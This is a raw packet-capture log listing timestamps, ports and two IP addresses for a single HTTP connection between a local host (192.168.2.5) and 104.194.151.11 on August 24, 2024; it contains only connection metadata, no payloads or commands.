Aug 24, 2024 11:01:57.894262075 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.894273996 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.894284010 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.894310951 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.894324064 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.895046949 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.895066023 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.895078897 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.895112038 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.895138979 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.895139933 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.895152092 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.895162106 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.895174026 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.895181894 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.895206928 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.895227909 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.895235062 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.895240068 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.895246029 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.895293951 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.895320892 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.896087885 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.896142960 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.896171093 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.896183014 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.896222115 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.896238089 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.896250010 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.896260023 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.896271944 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.896290064 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.896305084 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.896330118 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.896389008 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.896399975 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.896410942 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.896435976 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.896464109 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.896670103 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.896722078 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.896806955 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.896817923 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.896827936 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.896837950 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.896856070 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.896858931 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.896871090 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.896881104 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.896886110 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.896892071 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.896903992 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.896903992 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.896927118 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.896950960 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.897437096 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.897485018 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.897569895 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.897579908 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.897589922 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.897599936 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.897610903 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.897619009 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.897620916 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.897659063 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.897670031 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.897680998 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.897711039 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.897736073 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.984447956 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.984525919 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.984529972 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.984534025 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.984539986 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.984633923 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.984643936 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.984653950 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.984663963 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.984673023 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.984764099 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.984765053 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.984765053 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.984765053 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.985155106 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.985165119 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.985174894 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.985183954 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.985193968 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.985213041 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.985244036 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.985593081 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.985647917 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.985706091 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.985714912 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.985723972 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.985733032 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.985745907 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.985755920 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.985758066 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.985765934 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.985774040 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.985794067 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.985804081 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.985829115 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.985829115 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.985837936 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.985850096 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.985858917 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.985867977 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.985882044 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.985882998 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.985908985 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.985920906 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.985946894 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.985956907 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.985965014 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.985975027 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.985984087 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.985989094 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.985995054 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.986018896 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.986042976 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.986246109 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.986257076 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.986265898 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.986285925 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.986311913 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.986377001 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.986387968 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.986428022 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.986450911 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.986609936 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.986619949 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.986624956 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.986629963 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.986639023 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.986649036 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.986659050 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.986664057 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.986685991 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.986711025 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.986742973 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.986752987 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.986762047 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.986772060 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.986783028 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.986784935 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.986804962 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.986826897 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.986964941 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.986974955 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.986983061 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.986993074 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.987004042 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.987013102 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.987016916 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.987021923 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.987046957 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.987068892 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.987238884 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.987248898 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.987257004 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.987302065 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.987327099 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.987337112 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.987344980 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.987360954 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.987365007 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.987371922 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.987381935 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.987390041 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.987397909 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.987416029 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.987442017 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.987442970 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.987453938 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.987462997 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.987477064 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.987484932 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.987487078 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.987498045 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.987504005 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.987509012 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.987521887 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.987531900 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.987540007 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.987540960 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.987562895 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.987584114 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.988203049 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.988262892 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.988409042 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.988419056 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.988428116 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.988436937 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.988445997 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.988461018 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.988462925 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.988471031 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.988478899 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.988495111 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.988497019 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.988503933 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.988509893 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.988513947 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.988523960 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.988528967 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.988528967 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.988538980 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.988548040 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.988548994 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.988558054 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.988567114 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.988570929 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.988579035 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.988600016 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.988617897 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.989175081 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.989183903 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.989193916 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.989221096 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.989234924 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.989248037 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.989259005 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.989268064 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.989276886 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.989286900 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:57.989289045 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.989310980 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:57.989331961 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.080562115 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.080574989 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.080580950 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.080585957 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.080590010 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.080595016 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.080600977 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.080662966 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.080718040 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.080728054 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.080760956 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.080770969 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.080780983 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.080874920 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.080885887 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.080897093 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.080904961 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.080904961 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.080904961 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.080904961 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.080908060 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.080919981 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.080928087 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.080929995 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.080939054 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.080941916 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.080952883 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.080962896 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.080977917 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.080991983 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.081012964 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.081083059 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.081129074 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.081209898 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.081219912 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.081253052 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.081271887 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.081280947 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.081293106 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.081304073 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.081319094 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.081321001 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.081335068 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.081342936 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.081371069 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.081387043 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.081398964 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.081433058 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.081464052 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.081490040 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.081500053 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.081509113 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.081517935 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.081533909 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.081554890 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.081577063 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.081587076 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.081598043 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.081608057 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.081629992 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.081648111 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.081680059 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.081696987 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.081731081 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.081743956 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.081798077 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.081824064 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.081837893 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.081840038 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.081875086 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.081893921 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.081971884 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.081983089 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.081991911 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.082001925 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.082017899 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.082020998 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.082031012 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.082041979 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.082042933 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.082052946 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.082067013 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.082086086 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.082097054 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.085650921 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.085666895 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.085678101 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.085720062 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.085757971 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.085792065 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.085803032 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.085839033 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.085907936 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.085920095 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.085928917 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.085941076 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.085958004 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.085958004 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.085969925 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.085980892 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.085980892 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.085999012 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.085999012 CEST	49704	80	192.168.2.5	104.194.151.11
